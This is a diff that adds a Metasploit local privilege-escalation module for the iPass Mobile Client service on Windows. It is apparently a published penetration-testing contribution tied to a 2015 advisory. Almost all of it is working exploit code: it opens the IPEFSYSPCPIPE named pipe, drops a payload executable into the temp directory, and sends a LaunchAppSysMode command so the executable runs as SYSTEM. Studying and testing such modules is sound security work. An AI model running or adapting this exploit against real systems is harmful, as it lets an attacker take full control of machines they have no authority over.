|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class Metasploit3 < Msf::Exploit::Local |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::EXE |
| 10 | + include Msf::Post::File |
| 11 | + include Msf::Exploit::FileDropper |
| 12 | + include Msf::Post::Windows::Priv |
| 13 | + include Msf::Post::Windows::Services |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, { |
| 17 | + 'Name' => 'iPass Mobile Client Service Privilege Escalation', |
| 18 | + 'Description' => %q{ |
| 19 | + The named pipe, \IPEFSYSPCPIPE, can be accessed by normal users to interact |
| 20 | + with the iPass service. The service provides a LaunchAppSysMode command which |
| 21 | + allows to execute abitrary commands as SYSTEM. |
| 22 | +
|
| 23 | + }, |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'h0ng10', # Vulnerability discovery, metasploit module |
| 28 | + ], |
| 29 | + 'Arch' => ARCH_X86, |
| 30 | + 'Platform' => 'win', |
| 31 | + 'SessionTypes' => [ 'meterpreter' ], |
| 32 | + 'DefaultOptions' => |
| 33 | + { |
| 34 | + 'EXITFUNC' => 'thread', |
| 35 | + }, |
| 36 | + 'Targets' => |
| 37 | + [ |
| 38 | + [ 'Windows', { } ] |
| 39 | + ], |
| 40 | + 'Payload' => |
| 41 | + { |
| 42 | + 'Space' => 2048, |
| 43 | + 'DisableNops' => true |
| 44 | + }, |
| 45 | + 'References' => |
| 46 | + [ |
| 47 | + [ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt' ], |
| 48 | + ], |
| 49 | + 'DisclosureDate' => 'Mar 12 2015', |
| 50 | + 'DefaultTarget' => 0 |
| 51 | + })) |
| 52 | + |
| 53 | + register_options([ |
| 54 | + OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]) |
| 55 | + ], self.class) |
| 56 | + |
| 57 | + end |
| 58 | + |
| 59 | + def check |
| 60 | + os = sysinfo["OS"] |
| 61 | + if os =~ /windows/i |
| 62 | + svc = service_info 'iPlatformService' |
| 63 | + if svc and svc[:display] =~ /iPlatformService/ |
| 64 | + vprint_good("Found service '#{svc[:display]}'") |
| 65 | + begin |
| 66 | + if is_running? |
| 67 | + vprint_good("Service is running") |
| 68 | + else |
| 69 | + vprint_error("Service is not running!") |
| 70 | + end |
| 71 | + rescue RuntimeError => e |
| 72 | + vprint_error("Unable to retrieve service status") |
| 73 | + return Exploit::CheckCode::Unknown |
| 74 | + end |
| 75 | + |
| 76 | + vprint_good("Opening named pipe...") |
| 77 | + handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE") |
| 78 | + |
| 79 | + if handle.nil? |
| 80 | + fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found") |
| 81 | + else |
| 82 | + vprint_good("\\\\.\\pipe\\IPEFSYSPCPIPE found!") |
| 83 | + session.railgun.kernel32.CloseHandle(handle) |
| 84 | + end |
| 85 | + |
| 86 | + return Exploit::CheckCode::Vulnerable |
| 87 | + |
| 88 | + else |
| 89 | + return Exploit::CheckCode::Safe |
| 90 | + end |
| 91 | + end |
| 92 | + end |
| 93 | + |
| 94 | + |
| 95 | + def open_named_pipe(pipe) |
| 96 | + invalid_handle_value = 0xFFFFFFFF |
| 97 | + |
| 98 | + r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0) |
| 99 | + handle = r['return'] |
| 100 | + |
| 101 | + return nil if handle == invalid_handle_value |
| 102 | + |
| 103 | + return handle |
| 104 | + end |
| 105 | + |
| 106 | + def write_named_pipe(handle, command) |
| 107 | + |
| 108 | + buffer = Rex::Text.to_unicode(command) |
| 109 | + w = client.railgun.kernel32.WriteFile(handle, buffer, buffer.length, 4, nil) |
| 110 | + |
| 111 | + if w['return'] == false |
| 112 | + print_error("The was an error writing to pipe, check permissions") |
| 113 | + return nil |
| 114 | + end |
| 115 | + end |
| 116 | + |
| 117 | + |
| 118 | + def is_running? |
| 119 | + begin |
| 120 | + status = service_status('iPlatformService') |
| 121 | + return (status and status[:state] == 4) |
| 122 | + rescue RuntimeError => e |
| 123 | + print_error("Unable to retrieve service status") |
| 124 | + return false |
| 125 | + end |
| 126 | + end |
| 127 | + |
| 128 | + def exploit |
| 129 | + if is_system? |
| 130 | + fail_with(Exploit::Failure::None, 'Session is already elevated') |
| 131 | + end |
| 132 | + |
| 133 | + handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE") |
| 134 | + |
| 135 | + if handle.nil? |
| 136 | + fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found") |
| 137 | + else |
| 138 | + print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...") |
| 139 | + end |
| 140 | + |
| 141 | + if datastore["WritableDir"] and not datastore["WritableDir"].empty? |
| 142 | + temp_dir = datastore["WritableDir"] |
| 143 | + else |
| 144 | + temp_dir = client.sys.config.getenv('TEMP') |
| 145 | + end |
| 146 | + |
| 147 | + print_status("Using #{temp_dir} to drop malicious exe") |
| 148 | + |
| 149 | + begin |
| 150 | + cd(temp_dir) |
| 151 | + rescue Rex::Post::Meterpreter::RequestError |
| 152 | + session.railgun.kernel32.CloseHandle(handle) |
| 153 | + fail_with(Failure::Config, "Failed to use the #{temp_dir} directory") |
| 154 | + end |
| 155 | + |
| 156 | + print_status("Writing malicious exe to remote filesystem") |
| 157 | + write_path = pwd |
| 158 | + exe_name = "#{rand_text_alpha(10 + rand(10))}.exe" |
| 159 | + |
| 160 | + begin |
| 161 | + write_file(exe_name, generate_payload_exe) |
| 162 | + register_file_for_cleanup("#{write_path}\\#{exe_name}") |
| 163 | + rescue Rex::Post::Meterpreter::RequestError |
| 164 | + session.railgun.kernel32.CloseHandle(handle) |
| 165 | + fail_with(Failure::Config, "Failed to drop payload into #{temp_dir}") |
| 166 | + end |
| 167 | + |
| 168 | + print_status("Sending LauchAppSysMode command") |
| 169 | + |
| 170 | + begin |
| 171 | + write_named_pipe(handle, "iPass.EventsAction.LaunchAppSysMode #{write_path}\\#{exe_name};;;") |
| 172 | + rescue Rex::Post::Meterpreter::RequestError |
| 173 | + session.railgun.kernel32.CloseHandle(handle) |
| 174 | + fail_with(Failure::Config, "Failed to write to pipe") |
| 175 | + end |
| 176 | + |
| 177 | + end |
| 178 | + |
| 179 | +end |
0 commit comments